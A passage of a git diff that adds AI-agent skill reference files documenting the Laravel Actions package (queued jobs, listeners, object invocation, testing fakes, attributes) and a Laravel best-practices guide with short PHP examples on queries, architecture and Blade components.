Lorisleiva\Actions\Decorators\JobDecorator; + +public function configureJob(JobDecorator $job): void +{ + $job->onConnection('my_connection') + ->onQueue('my_queue') + ->through(['my_middleware']) + ->chain(['my_chain']) + ->delay(60); +} +``` + +### `$jobConnection` + +Defines queue connection. + +```php +public string $jobConnection = 'my_connection'; +``` + +### `$jobQueue` + +Defines queue name. + +```php +public string $jobQueue = 'my_queue'; +``` + +### `$jobTries` + +Defines max attempts. + +```php +public int $jobTries = 10; +``` + +### `$jobMaxExceptions` + +Defines max unhandled exceptions before failure. + +```php +public int $jobMaxExceptions = 3; +``` + +### `$jobBackoff` + +Defines retry delay seconds. + +```php +public int $jobBackoff = 60; +``` + +### `getJobBackoff` + +Defines retry delay (int or per-attempt array). + +```php +public function getJobBackoff(): int +{ + return 60; +} + +public function getJobBackoff(): array +{ + return [30, 60, 120]; +} +``` + +### `$jobTimeout` + +Defines timeout in seconds. + +```php +public int $jobTimeout = 60 * 30; +``` + +### `$jobRetryUntil` + +Defines timestamp retry deadline. + +```php +public int $jobRetryUntil = 1610191764; +``` + +### `getJobRetryUntil` + +Defines retry deadline as `DateTime`. + +```php +public function getJobRetryUntil(): DateTime +{ + return now()->addMinutes(30); +} +``` + +### `getJobDisplayName` + +Customizes queued job display name. + +```php +public function getJobDisplayName(): string +{ + return 'Send team report email'; +} +``` + +### `getJobTags` + +Adds queue tags. + +```php +public function getJobTags(Team $team): array +{ + return ['report', 'team:'.$team->id]; +} +``` + +### `getJobUniqueId` + +Defines uniqueness key when using `ShouldBeUnique`. + +```php +public function getJobUniqueId(Team $team): int +{ + return $team->id; +} +``` + +### `$jobUniqueId` + +Static uniqueness key alternative. + +```php +public string $jobUniqueId = 'some_static_key'; +``` + +### `getJobUniqueFor` + +Defines uniqueness lock duration in seconds. + +```php +public function getJobUniqueFor(Team $team): int +{ + return $team->role === 'premium' ? 1800 : 3600; +} +``` + +### `$jobUniqueFor` + +Property alternative for uniqueness lock duration. + +```php +public int $jobUniqueFor = 3600; +``` + +### `getJobUniqueVia` + +Defines cache driver used for uniqueness lock. + +```php +public function getJobUniqueVia() +{ + return Cache::driver('redis'); +} +``` + +### `$jobDeleteWhenMissingModels` + +Property alternative for missing model handling. + +```php +public bool $jobDeleteWhenMissingModels = true; +``` + +### `getJobDeleteWhenMissingModels` + +Defines whether jobs with missing models are deleted. + +```php +public function getJobDeleteWhenMissingModels(): bool +{ + return true; +} +``` + +### `jobFailed` + +Handles job failure. Receives exception and dispatched parameters. + +```php +public function jobFailed(?Throwable $e, ...$parameters): void +{ + // Notify users, report errors, trigger compensations... +} +``` + +## Checklist + +- Async/sync dispatch method matches use-case (`dispatch`, `dispatchSync`, `dispatchAfterResponse`). +- Queue config is explicit when needed (`$jobConnection`, `$jobQueue`, `configureJob`). +- Retry/backoff/timeout policies are intentional. +- `asJob(...)` delegates to `handle(...)` unless queue-specific branching is required. +- Queue tests use `Queue::fake()` and action assertions (`assertPushed*`). + +## Common pitfalls + +- Embedding domain logic only in `asJob(...)`. +- Forgetting uniqueness/timeout/retry controls on heavy jobs. +- Missing queue-specific assertions in tests. + +## References + +- https://www.laravelactions.com/2.x/as-job.html \ No newline at end of file diff --git a/.agents/skills/laravel-actions/references/listener.md b/.agents/skills/laravel-actions/references/listener.md new file mode 100644 index 000000000..c5233001d --- /dev/null +++ b/.agents/skills/laravel-actions/references/listener.md @@ -0,0 +1,81 @@ +# Listener Entrypoint (`asListener`) + +## Scope + +Use this reference when wiring actions to domain/application events. + +## Recap + +- Shows how listener execution maps event payloads into `handle(...)` arguments. +- Describes `asListener(...)` fallback behavior and adaptation role. +- Includes event registration example for provider wiring. +- Emphasizes test focus on dispatch and action interaction. + +## Recommended pattern + +- Register action listener in `EventServiceProvider` (or project equivalent). +- Use `asListener(Event $event)` for event adaptation. +- Delegate core logic to `handle(...)`. + +## Methods used (`ListenerDecorator`) + +### `asListener` + +Called when executed as an event listener. If missing, it falls back to `handle(...)`. + +```php +class SendOfferToNearbyDrivers +{ + use AsAction; + + public function handle(Address $source, Address $destination): void + { + // ... + } + + public function asListener(TaxiRequested $event): void + { + $this->handle($event->source, $event->destination); + } +} +``` + +## Examples + +### Event registration + +```php +// app/Providers/EventServiceProvider.php +protected $listen = [ + TaxiRequested::class => [ + SendOfferToNearbyDrivers::class, + ], +]; +``` + +### Focused listener test + +```php +use Illuminate\Support\Facades\Event; + +Event::fake(); + +TaxiRequested::dispatch($source, $destination); + +Event::assertDispatched(TaxiRequested::class); +``` + +## Checklist + +- Event-to-listener mapping is registered. +- Listener method signature matches event contract. +- Listener tests verify dispatch and action interaction. + +## Common pitfalls + +- Assuming automatic listener registration when explicit mapping is required. +- Re-implementing business logic in `asListener(...)`. + +## References + +- https://www.laravelactions.com/2.x/as-listener.html \ No newline at end of file diff --git a/.agents/skills/laravel-actions/references/object.md b/.agents/skills/laravel-actions/references/object.md new file mode 100644 index 000000000..6a90be4d5 --- /dev/null +++ b/.agents/skills/laravel-actions/references/object.md @@ -0,0 +1,118 @@ +# Object Entrypoint (`run`, `make`, DI) + +## Scope + +Use this reference when the action is invoked as a plain object. + +## Recap + +- Explains object-style invocation with `make`, `run`, `runIf`, `runUnless`. +- Clarifies when to use static helpers versus DI/manual invocation. +- Includes minimal examples for direct run and service-level injection. +- Highlights boundaries: business logic stays in `handle(...)`. + +## Recommended pattern + +- Keep core business logic in `handle(...)`. +- Prefer `Action::run(...)` for readability. +- Use `Action::make()->handle(...)` or DI only when needed. + +## Methods provided + +### `make` + +Resolves the action from the container. + +```php +PublishArticle::make(); + +// Equivalent to: +app(PublishArticle::class); +``` + +### `run` + +Resolves and executes the action. + +```php +PublishArticle::run($articleId); + +// Equivalent to: +PublishArticle::make()->handle($articleId); +``` + +### `runIf` + +Resolves and executes the action only if the condition is met. + +```php +PublishArticle::runIf($shouldPublish, $articleId); + +// Equivalent mental model: +if ($shouldPublish) { + PublishArticle::run($articleId); +} +``` + +### `runUnless` + +Resolves and executes the action only if the condition is not met. + +```php +PublishArticle::runUnless($alreadyPublished, $articleId); + +// Equivalent mental model: +if (! $alreadyPublished) { + PublishArticle::run($articleId); +} +``` + +## Checklist + +- Input/output types are explicit. +- `handle(...)` has no transport concerns. +- Business behavior is covered by direct `handle(...)` tests. + +## Common pitfalls + +- Putting HTTP/CLI/queue concerns in `handle(...)`. +- Calling adapters from `handle(...)` instead of the reverse. + +## References + +- https://www.laravelactions.com/2.x/as-object.html + +## Examples + +### Minimal object-style invocation + +```php +final class PublishArticle +{ + use AsAction; + + public function handle(int $articleId): bool + { + // Domain logic... + return true; + } +} + +$published = PublishArticle::run(42); +``` + +### Dependency injection invocation + +```php +final class ArticleService +{ + public function __construct( + private PublishArticle $publishArticle + ) {} + + public function publish(int $articleId): bool + { + return $this->publishArticle->handle($articleId); + } +} +``` \ No newline at end of file diff --git a/.agents/skills/laravel-actions/references/testing-fakes.md b/.agents/skills/laravel-actions/references/testing-fakes.md new file mode 100644 index 000000000..97766e6ce --- /dev/null +++ b/.agents/skills/laravel-actions/references/testing-fakes.md @@ -0,0 +1,160 @@ +# Testing and Action Fakes + +## Scope + +Use this reference when isolating action orchestration in tests. + +## Recap + +- Summarizes all `AsFake` helpers (`mock`, `partialMock`, `spy`, `shouldRun`, `shouldNotRun`, `allowToRun`). +- Clarifies when to assert execution versus non-execution. +- Covers fake lifecycle checks/reset (`isFake`, `clearFake`). +- Provides branch-oriented test examples for orchestration confidence. + +## Core methods + +- `mock()` +- `partialMock()` +- `spy()` +- `shouldRun()` +- `shouldNotRun()` +- `allowToRun()` +- `isFake()` +- `clearFake()` + +## Recommended pattern + +- Test `handle(...)` directly for business rules. +- Test entrypoints for wiring/orchestration. +- Fake only at the boundary under test. + +## Methods provided (`AsFake` trait) + +### `mock` + +Swaps the action with a full mock. + +```php +FetchContactsFromGoogle::mock() + ->shouldReceive('handle') + ->with(42) + ->andReturn(['Loris', 'Will', 'Barney']); +``` + +### `partialMock` + +Swaps the action with a partial mock. + +```php +FetchContactsFromGoogle::partialMock() + ->shouldReceive('fetch') + ->with('some_google_identifier') + ->andReturn(['Loris', 'Will', 'Barney']); +``` + +### `spy` + +Swaps the action with a spy. + +```php +$spy = FetchContactsFromGoogle::spy() + ->allows('handle') + ->andReturn(['Loris', 'Will', 'Barney']); + +// ... + +$spy->shouldHaveReceived('handle')->with(42); +``` + +### `shouldRun` + +Helper adding expectation on `handle`. + +```php +FetchContactsFromGoogle::shouldRun(); + +// Equivalent to: +FetchContactsFromGoogle::mock()->shouldReceive('handle'); +``` + +### `shouldNotRun` + +Helper adding negative expectation on `handle`. + +```php +FetchContactsFromGoogle::shouldNotRun(); + +// Equivalent to: +FetchContactsFromGoogle::mock()->shouldNotReceive('handle'); +``` + +### `allowToRun` + +Helper allowing `handle` on a spy. + +```php +$spy = FetchContactsFromGoogle::allowToRun() + ->andReturn(['Loris', 'Will', 'Barney']); + +// ... + +$spy->shouldHaveReceived('handle')->with(42); +``` + +### `isFake` + +Returns whether the action has been swapped with a fake. + +```php +FetchContactsFromGoogle::isFake(); // false +FetchContactsFromGoogle::mock(); +FetchContactsFromGoogle::isFake(); // true +``` + +### `clearFake` + +Clears the fake instance, if any. + +```php +FetchContactsFromGoogle::mock(); +FetchContactsFromGoogle::isFake(); // true +FetchContactsFromGoogle::clearFake(); +FetchContactsFromGoogle::isFake(); // false +``` + +## Examples + +### Orchestration test + +```php +it('runs sync contacts for premium teams', function () { + SyncGoogleContacts::shouldRun()->once()->with(42)->andReturnTrue(); + + ImportTeamContacts::run(42, isPremium: true); +}); +``` + +### Guard-clause test + +```php +it('does not run sync when integration is disabled', function () { + SyncGoogleContacts::shouldNotRun(); + + ImportTeamContacts::run(42, integrationEnabled: false); +}); +``` + +## Checklist + +- Assertions verify call intent and argument contracts. +- Fakes are cleared when leakage risk exists. +- Branch tests use `shouldRun()` / `shouldNotRun()` where clearer. + +## Common pitfalls + +- Over-mocking and losing behavior confidence. +- Asserting only dispatch, not business correctness. + +## References + +- https://www.laravelactions.com/2.x/as-fake.html \ No newline at end of file diff --git a/.agents/skills/laravel-actions/references/troubleshooting.md b/.agents/skills/laravel-actions/references/troubleshooting.md new file mode 100644 index 000000000..cf6a5800f --- /dev/null +++ b/.agents/skills/laravel-actions/references/troubleshooting.md @@ -0,0 +1,33 @@ +# Troubleshooting + +## Scope + +Use this reference when action wiring behaves unexpectedly. + +## Recap + +- Provides a fast triage flow for routing, queueing, events, and command wiring. +- Lists recurring failure patterns and where to check first. +- Encourages reproducing issues with focused tests before broad debugging. +- Separates wiring diagnostics from domain logic verification. + +## Fast checks + +- Action class uses `AsAction`. +- Namespace and autoloading are correct. +- Entrypoint wiring (route, queue, event, command) is registered. +- Method signatures and argument types match caller expectations. + +## Failure patterns + +- Controller route points to wrong class. +- Queue worker/config mismatch. +- Listener mapping not loaded. +- Command signature mismatch. +- Command not registered in the console kernel. + +## Debug checklist + +- Reproduce with a focused failing test. +- Validate wiring layer first, then domain behavior. +- Isolate dependencies with fakes/spies where appropriate. \ No newline at end of file diff --git a/.agents/skills/laravel-actions/references/with-attributes.md b/.agents/skills/laravel-actions/references/with-attributes.md new file mode 100644 index 000000000..1b28cf2cb --- /dev/null +++ b/.agents/skills/laravel-actions/references/with-attributes.md @@ -0,0 +1,189 @@ +# With Attributes (`WithAttributes` trait) + +## Scope + +Use this reference when an action stores and validates input via internal attributes instead of method arguments. + +## Recap + +- Documents attribute lifecycle APIs (`setRawAttributes`, `fill`, `fillFromRequest`, readers/writers). +- Clarifies behavior of key collisions (`fillFromRequest`: request data wins over route params). +- Lists validation/authorization hooks reused from controller validation pipeline. +- Includes end-to-end example from fill to `validateAttributes()` and `handle(...)`. + +## Methods provided (`WithAttributes` trait) + +### `setRawAttributes` + +Replaces all attributes with the provided payload. + +```php +$action->setRawAttributes([ + 'key' => 'value', +]); +``` + +### `fill` + +Merges provided attributes into existing attributes. + +```php +$action->fill([ + 'key' => 'value', +]); +``` + +### `fillFromRequest` + +Merges request input and route parameters into attributes. Request input has priority over route parameters when keys collide. + +```php +$action->fillFromRequest($request); +``` + +### `all` + +Returns all attributes. + +```php +$action->all(); +``` + +### `only` + +Returns attributes matching the provided keys. + +```php +$action->only('title', 'body'); +``` + +### `except` + +Returns attributes excluding the provided keys. + +```php +$action->except('body'); +``` + +### `has` + +Returns whether an attribute exists for the given key. + +```php +$action->has('title'); +``` + +### `get` + +Returns the attribute value by key, with optional default. + +```php +$action->get('title'); +$action->get('title', 'Untitled'); +``` + +### `set` + +Sets an attribute value by key. + +```php +$action->set('title', 'My blog post'); +``` + +### `__get` + +Accesses attributes as object properties. + +```php +$action->title; +``` + +### `__set` + +Updates attributes as object properties. + +```php +$action->title = 'My blog post'; +``` + +### `__isset` + +Checks attribute existence as object properties. + +```php +isset($action->title); +``` + +### `validateAttributes` + +Runs authorization and validation using action attributes and returns validated data. + +```php +$validatedData = $action->validateAttributes(); +``` + +## Methods used (`AttributeValidator`) + +`WithAttributes` uses the same authorization/validation hooks as `AsController`: + +- `prepareForValidation` +- `authorize` +- `rules` +- `withValidator` +- `afterValidator` +- `getValidator` +- `getValidationData` +- `getValidationMessages` +- `getValidationAttributes` +- `getValidationRedirect` +- `getValidationErrorBag` +- `getValidationFailure` +- `getAuthorizationFailure` + +## Example + +```php +class CreateArticle +{ + use AsAction; + use WithAttributes; + + public function rules(): array + { + return [ + 'title' => ['required', 'string', 'min:8'], + 'body' => ['required', 'string'], + ]; + } + + public function handle(array $attributes): Article + { + return Article::create($attributes); + } +} + +$action = CreateArticle::make()->fill([ + 'title' => 'My first post', + 'body' => 'Hello world', +]); + +$validated = $action->validateAttributes(); +$article = $action->handle($validated); +``` + +## Checklist + +- Attribute keys are explicit and stable. +- Validation rules match expected attribute shape. +- `validateAttributes()` is called before side effects when needed. +- Validation/authorization hooks are tested in focused unit tests. + +## Common pitfalls + +- Mixing attribute-based and argument-based flows inconsistently in the same action. +- Assuming route params override request input in `fillFromRequest` (they do not). +- Skipping `validateAttributes()` when using external input. + +## References + +- https://www.laravelactions.com/2.x/with-attributes.html \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/SKILL.md b/.agents/skills/laravel-best-practices/SKILL.md new file mode 100644 index 000000000..99018f3ae --- /dev/null +++ b/.agents/skills/laravel-best-practices/SKILL.md @@ -0,0 +1,190 @@ +--- +name: laravel-best-practices +description: "Apply this skill whenever writing, reviewing, or refactoring Laravel PHP code. This includes creating or modifying controllers, models, migrations, form requests, policies, jobs, scheduled commands, service classes, and Eloquent queries. Triggers for N+1 and query performance issues, caching strategies, authorization and security patterns, validation, error handling, queue and job configuration, route definitions, and architectural decisions. Also use for Laravel code reviews and refactoring existing Laravel code to follow best practices. Covers any task involving Laravel backend PHP code patterns." +license: MIT +metadata: + author: laravel +--- + +# Laravel Best Practices + +Best practices for Laravel, prioritized by impact. Each rule teaches what to do and why. For exact API syntax, verify with `search-docs`. + +## Consistency First + +Before applying any rule, check what the application already does. Laravel offers multiple valid approaches — the best choice is the one the codebase already uses, even if another pattern would be theoretically better. Inconsistency is worse than a suboptimal pattern. + +Check sibling files, related controllers, models, or tests for established patterns. If one exists, follow it — don't introduce a second way. These rules are defaults for when no pattern exists yet, not overrides. + +## Quick Reference + +### 1. Database Performance → `rules/db-performance.md` + +- Eager load with `with()` to prevent N+1 queries +- Enable `Model::preventLazyLoading()` in development +- Select only needed columns, avoid `SELECT *` +- `chunk()` / `chunkById()` for large datasets +- Index columns used in `WHERE`, `ORDER BY`, `JOIN` +- `withCount()` instead of loading relations to count +- `cursor()` for memory-efficient read-only iteration +- Never query in Blade templates + +### 2. Advanced Query Patterns → `rules/advanced-queries.md` + +- `addSelect()` subqueries over eager-loading entire has-many for a single value +- Dynamic relationships via subquery FK + `belongsTo` +- Conditional aggregates (`CASE WHEN` in `selectRaw`) over multiple count queries +- `setRelation()` to prevent circular N+1 queries +- `whereIn` + `pluck()` over `whereHas` for better index usage +- Two simple queries can beat one complex query +- Compound indexes matching `orderBy` column order +- Correlated subqueries in `orderBy` for has-many sorting (avoid joins) + +### 3. Security → `rules/security.md` + +- Define `$fillable` or `$guarded` on every model, authorize every action via policies or gates +- No raw SQL with user input — use Eloquent or query builder +- `{{ }}` for output escaping, `@csrf` on all POST/PUT/DELETE forms, `throttle` on auth and API routes +- Validate MIME type, extension, and size for file uploads +- Never commit `.env`, use `config()` for secrets, `encrypted` cast for sensitive DB fields + +### 4. Caching → `rules/caching.md` + +- `Cache::remember()` over manual get/put +- `Cache::flexible()` for stale-while-revalidate on high-traffic data +- `Cache::memo()` to avoid redundant cache hits within a request +- Cache tags to invalidate related groups +- `Cache::add()` for atomic conditional writes +- `once()` to memoize per-request or per-object lifetime +- `Cache::lock()` / `lockForUpdate()` for race conditions +- Failover cache stores in production + +### 5. Eloquent Patterns → `rules/eloquent.md` + +- Correct relationship types with return type hints +- Local scopes for reusable query constraints +- Global scopes sparingly — document their existence +- Attribute casts in the `casts()` method +- Cast date columns, use Carbon instances in templates +- `whereBelongsTo($model)` for cleaner queries +- Never hardcode table names — use `(new Model)->getTable()` or Eloquent queries + +### 6. Validation & Forms → `rules/validation.md` + +- Form Request classes, not inline validation +- Array notation `['required', 'email']` for new code; follow existing convention +- `$request->validated()` only — never `$request->all()` +- `Rule::when()` for conditional validation +- `after()` instead of `withValidator()` + +### 7. Configuration → `rules/config.md` + +- `env()` only inside config files +- `App::environment()` or `app()->isProduction()` +- Config, lang files, and constants over hardcoded text + +### 8. Testing Patterns → `rules/testing.md` + +- `LazilyRefreshDatabase` over `RefreshDatabase` for speed +- `assertModelExists()` over raw `assertDatabaseHas()` +- Factory states and sequences over manual overrides +- Use fakes (`Event::fake()`, `Exceptions::fake()`, etc.) — but always after factory setup, not before +- `recycle()` to share relationship instances across factories + +### 9. Queue & Job Patterns → `rules/queue-jobs.md` + +- `retry_after` must exceed job `timeout`; use exponential backoff `[1, 5, 10]` +- `ShouldBeUnique` to prevent duplicates; `WithoutOverlapping::untilProcessing()` for concurrency +- Always implement `failed()`; with `retryUntil()`, set `$tries = 0` +- `RateLimited` middleware for external API calls; `Bus::batch()` for related jobs +- Horizon for complex multi-queue scenarios + +### 10. Routing & Controllers → `rules/routing.md` + +- Implicit route model binding +- Scoped bindings for nested resources +- `Route::resource()` or `apiResource()` +- Methods under 10 lines — extract to actions/services +- Type-hint Form Requests for auto-validation + +### 11. HTTP Client → `rules/http-client.md` + +- Explicit `timeout` and `connectTimeout` on every request +- `retry()` with exponential backoff for external APIs +- Check response status or use `throw()` +- `Http::pool()` for concurrent independent requests +- `Http::fake()` and `preventStrayRequests()` in tests + +### 12. Events, Notifications & Mail → `rules/events-notifications.md`, `rules/mail.md` + +- Event discovery over manual registration; `event:cache` in production +- `ShouldDispatchAfterCommit` / `afterCommit()` inside transactions +- Queue notifications and mailables with `ShouldQueue` +- On-demand notifications for non-user recipients +- `HasLocalePreference` on notifiable models +- `assertQueued()` not `assertSent()` for queued mailables +- Markdown mailables for transactional emails + +### 13. Error Handling → `rules/error-handling.md` + +- `report()`/`render()` on exception classes or in `bootstrap/app.php` — follow existing pattern +- `ShouldntReport` for exceptions that should never log +- Throttle high-volume exceptions to protect log sinks +- `dontReportDuplicates()` for multi-catch scenarios +- Force JSON rendering for API routes +- Structured context via `context()` on exception classes + +### 14. Task Scheduling → `rules/scheduling.md` + +- `withoutOverlapping()` on variable-duration tasks +- `onOneServer()` on multi-server deployments +- `runInBackground()` for concurrent long tasks +- `environments()` to restrict to appropriate environments +- `takeUntilTimeout()` for time-bounded processing +- Schedule groups for shared configuration + +### 15. Architecture → `rules/architecture.md` + +- Single-purpose Action classes; dependency injection over `app()` helper +- Prefer official Laravel packages and follow conventions, don't override defaults +- Default to `ORDER BY id DESC` or `created_at DESC`; `mb_*` for UTF-8 safety +- `defer()` for post-response work; `Context` for request-scoped data; `Concurrency::run()` for parallel execution + +### 16. Migrations → `rules/migrations.md` + +- Generate migrations with `php artisan make:migration` +- `constrained()` for foreign keys +- Never modify migrations that have run in production +- Add indexes in the migration, not as an afterthought +- Mirror column defaults in model `$attributes` +- Reversible `down()` by default; forward-fix migrations for intentionally irreversible changes +- One concern per migration — never mix DDL and DML + +### 17. Collections → `rules/collections.md` + +- Higher-order messages for simple collection operations +- `cursor()` vs. `lazy()` — choose based on relationship needs +- `lazyById()` when updating records while iterating +- `toQuery()` for bulk operations on collections + +### 18. Blade & Views → `rules/blade-views.md` + +- `$attributes->merge()` in component templates +- Blade components over `@include`; `@pushOnce` for per-component scripts +- View Composers for shared view data +- `@aware` for deeply nested component props + +### 19. Conventions & Style → `rules/style.md` + +- Follow Laravel naming conventions for all entities +- Prefer Laravel helpers (`Str`, `Arr`, `Number`, `Uri`, `Str::of()`, `$request->string()`) over raw PHP functions +- No JS/CSS in Blade, no HTML in PHP classes +- Code should be readable; comments only for config files + +## How to Apply + +Always use a sub-agent to read rule files and explore this skill's content. + +1. Identify the file type and select relevant sections (e.g., migration → §16, controller → §1, §3, §5, §6, §10) +2. Check sibling files for existing patterns — follow those first per Consistency First +3. Verify API syntax with `search-docs` for the installed Laravel version \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/advanced-queries.md b/.agents/skills/laravel-best-practices/rules/advanced-queries.md new file mode 100644 index 000000000..920714a14 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/advanced-queries.md @@ -0,0 +1,106 @@ +# Advanced Query Patterns + +## Use `addSelect()` Subqueries for Single Values from Has-Many + +Instead of eager-loading an entire has-many relationship for a single value (like the latest timestamp), use a correlated subquery via `addSelect()`. This pulls the value directly in the main SQL query — zero extra queries. + +```php +public function scopeWithLastLoginAt($query): void +{ + $query->addSelect([ + 'last_login_at' => Login::select('created_at') + ->whereColumn('user_id', 'users.id') + ->latest() + ->take(1), + ])->withCasts(['last_login_at' => 'datetime']); +} +``` + +## Create Dynamic Relationships via Subquery FK + +Extend the `addSelect()` pattern to fetch a foreign key via subquery, then define a `belongsTo` relationship on that virtual attribute. This provides a fully-hydrated related model without loading the entire collection. + +```php +public function lastLogin(): BelongsTo +{ + return $this->belongsTo(Login::class); +} + +public function scopeWithLastLogin($query): void +{ + $query->addSelect([ + 'last_login_id' => Login::select('id') + ->whereColumn('user_id', 'users.id') + ->latest() + ->take(1), + ])->with('lastLogin'); +} +``` + +## Use Conditional Aggregates Instead of Multiple Count Queries + +Replace N separate `count()` queries with a single query using `CASE WHEN` inside `selectRaw()`. Use `toBase()` to skip model hydration when you only need scalar values. + +```php +$statuses = Feature::toBase() + ->selectRaw("count(case when status = 'Requested' then 1 end) as requested") + ->selectRaw("count(case when status = 'Planned' then 1 end) as planned") + ->selectRaw("count(case when status = 'Completed' then 1 end) as completed") + ->first(); +``` + +## Use `setRelation()` to Prevent Circular N+1 + +When a parent model is eager-loaded with its children, and the view also needs `$child->parent`, use `setRelation()` to inject the already-loaded parent rather than letting Eloquent fire N additional queries. + +```php +$feature->load('comments.user'); +$feature->comments->each->setRelation('feature', $feature); +``` + +## Prefer `whereIn` + Subquery Over `whereHas` + +`whereHas()` emits a correlated `EXISTS` subquery that re-executes per row. Using `whereIn()` with a `select('id')` subquery lets the database use an index lookup instead, without loading data into PHP memory. + +Incorrect (correlated EXISTS re-executes per row): + +```php +$query->whereHas('company', fn ($q) => $q->where('name', 'like', $term)); +``` + +Correct (index-friendly subquery, no PHP memory overhead): + +```php +$query->whereIn('company_id', Company::where('name', 'like', $term)->select('id')); +``` + +## Sometimes Two Simple Queries Beat One Complex Query + +Running a small, targeted secondary query and passing its results via `whereIn` is often faster than a single complex correlated subquery or join. The additional round-trip is worthwhile when the secondary query is highly selective and uses its own index. + +## Use Compound Indexes Matching `orderBy` Column Order + +When ordering by multiple columns, create a single compound index in the same column order as the `ORDER BY` clause. Individual single-column indexes cannot combine for multi-column sorts — the database will filesort without a compound index. + +```php +// Migration +$table->index(['last_name', 'first_name']); + +// Query — column order must match the index +User::query()->orderBy('last_name')->orderBy('first_name')->paginate(); +``` + +## Use Correlated Subqueries for Has-Many Ordering + +When sorting by a value from a has-many relationship, avoid joins (they duplicate rows). Use a correlated subquery inside `orderBy()` instead, paired with an `addSelect` scope for eager loading. + +```php +public function scopeOrderByLastLogin($query): void +{ + $query->orderByDesc(Login::select('created_at') + ->whereColumn('user_id', 'users.id') + ->latest() + ->take(1) + ); +} +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/architecture.md b/.agents/skills/laravel-best-practices/rules/architecture.md new file mode 100644 index 000000000..165056422 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/architecture.md @@ -0,0 +1,202 @@ +# Architecture Best Practices + +## Single-Purpose Action Classes + +Extract discrete business operations into invokable Action classes. + +```php +class CreateOrderAction +{ + public function __construct(private InventoryService $inventory) {} + + public function execute(array $data): Order + { + $order = Order::create($data); + $this->inventory->reserve($order); + + return $order; + } +} +``` + +## Use Dependency Injection + +Always use constructor injection. Avoid `app()` or `resolve()` inside classes. + +Incorrect: +```php +class OrderController extends Controller +{ + public function store(StoreOrderRequest $request) + { + $service = app(OrderService::class); + + return $service->create($request->validated()); + } +} +``` + +Correct: +```php +class OrderController extends Controller +{ + public function __construct(private OrderService $service) {} + + public function store(StoreOrderRequest $request) + { + return $this->service->create($request->validated()); + } +} +``` + +## Code to Interfaces + +Depend on contracts at system boundaries (payment gateways, notification channels, external APIs) for testability and swappability. + +Incorrect (concrete dependency): +```php +class OrderService +{ + public function __construct(private StripeGateway $gateway) {} +} +``` + +Correct (interface dependency): +```php +interface PaymentGateway +{ + public function charge(int $amount, string $customerId): PaymentResult; +} + +class OrderService +{ + public function __construct(private PaymentGateway $gateway) {} +} +``` + +Bind in a service provider: + +```php +$this->app->bind(PaymentGateway::class, StripeGateway::class); +``` + +## Default Sort by Descending + +When no explicit order is specified, sort by `id` or `created_at` descending. Explicit ordering prevents cross-database inconsistencies between MySQL and Postgres. + +Incorrect: +```php +$posts = Post::paginate(); +``` + +Correct: +```php +$posts = Post::latest()->paginate(); +``` + +## Use Atomic Locks for Race Conditions + +Prevent race conditions with `Cache::lock()` or `lockForUpdate()`. + +```php +Cache::lock('order-processing-'.$order->id, 10)->block(5, function () use ($order) { + $order->process(); +}); + +// Or at query level +$product = Product::where('id', $id)->lockForUpdate()->first(); +``` + +## Use `mb_*` String Functions + +When no Laravel helper exists, prefer `mb_strlen`, `mb_strtolower`, etc. for UTF-8 safety. Standard PHP string functions count bytes, not characters. + +Incorrect: +```php +strlen('José'); // 5 (bytes, not characters) +strtolower('MÜNCHEN'); // 'mÜnchen' — fails on multibyte +``` + +Correct: +```php +mb_strlen('José'); // 4 (characters) +mb_strtolower('MÜNCHEN'); // 'münchen' + +// Prefer Laravel's Str helpers when available +Str::length('José'); // 4 +Str::lower('MÜNCHEN'); // 'münchen' +``` + +## Use `defer()` for Post-Response Work + +For lightweight tasks that don't need to survive a crash (logging, analytics, cleanup), use `defer()` instead of dispatching a job. The callback runs after the HTTP response is sent — no queue overhead. + +Incorrect (job overhead for trivial work): +```php +dispatch(new LogPageView($page)); +``` + +Correct (runs after response, same process): +```php +defer(fn () => PageView::create(['page_id' => $page->id, 'user_id' => auth()->id()])); +``` + +Use jobs when the work must survive process crashes or needs retry logic. Use `defer()` for fire-and-forget work. + +## Use `Context` for Request-Scoped Data + +The `Context` facade passes data through the entire request lifecycle — middleware, controllers, jobs, logs — without passing arguments manually. + +```php +// In middleware +Context::add('tenant_id', $request->header('X-Tenant-ID')); + +// Anywhere later — controllers, jobs, log context +$tenantId = Context::get('tenant_id'); +``` + +Context data automatically propagates to queued jobs and is included in log entries. Use `Context::addHidden()` for sensitive data that should be available in queued jobs but excluded from log context. If data must not leave the current process, do not store it in `Context`. + +## Use `Concurrency::run()` for Parallel Execution + +Run independent operations in parallel using child processes — no async libraries needed. + +```php +use Illuminate\Support\Facades\Concurrency; + +[$users, $orders] = Concurrency::run([ + fn () => User::count(), + fn () => Order::where('status', 'pending')->count(), +]); +``` + +Each closure runs in a separate process with full Laravel access. Use for independent database queries, API calls, or computations that would otherwise run sequentially. + +## Convention Over Configuration + +Follow Laravel conventions. Don't override defaults unnecessarily. + +Incorrect: +```php +class Customer extends Model +{ + protected $table = 'Customer'; + protected $primaryKey = 'customer_id'; + + public function roles(): BelongsToMany + { + return $this->belongsToMany(Role::class, 'role_customer', 'customer_id', 'role_id'); + } +} +``` + +Correct: +```php +class Customer extends Model +{ + public function roles(): BelongsToMany + { + return $this->belongsToMany(Role::class); + } +} +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/blade-views.md b/.agents/skills/laravel-best-practices/rules/blade-views.md new file mode 100644 index 000000000..c6f8aaf1e --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/blade-views.md @@ -0,0 +1,36 @@ +# Blade & Views Best Practices + +## Use `$attributes->merge()` in Component Templates + +Hardcoding classes prevents consumers from adding their own. `merge()` combines class attributes cleanly. + +```blade +
merge(['class' => 'alert alert-'.$type]) }}> + {{ $message }} +
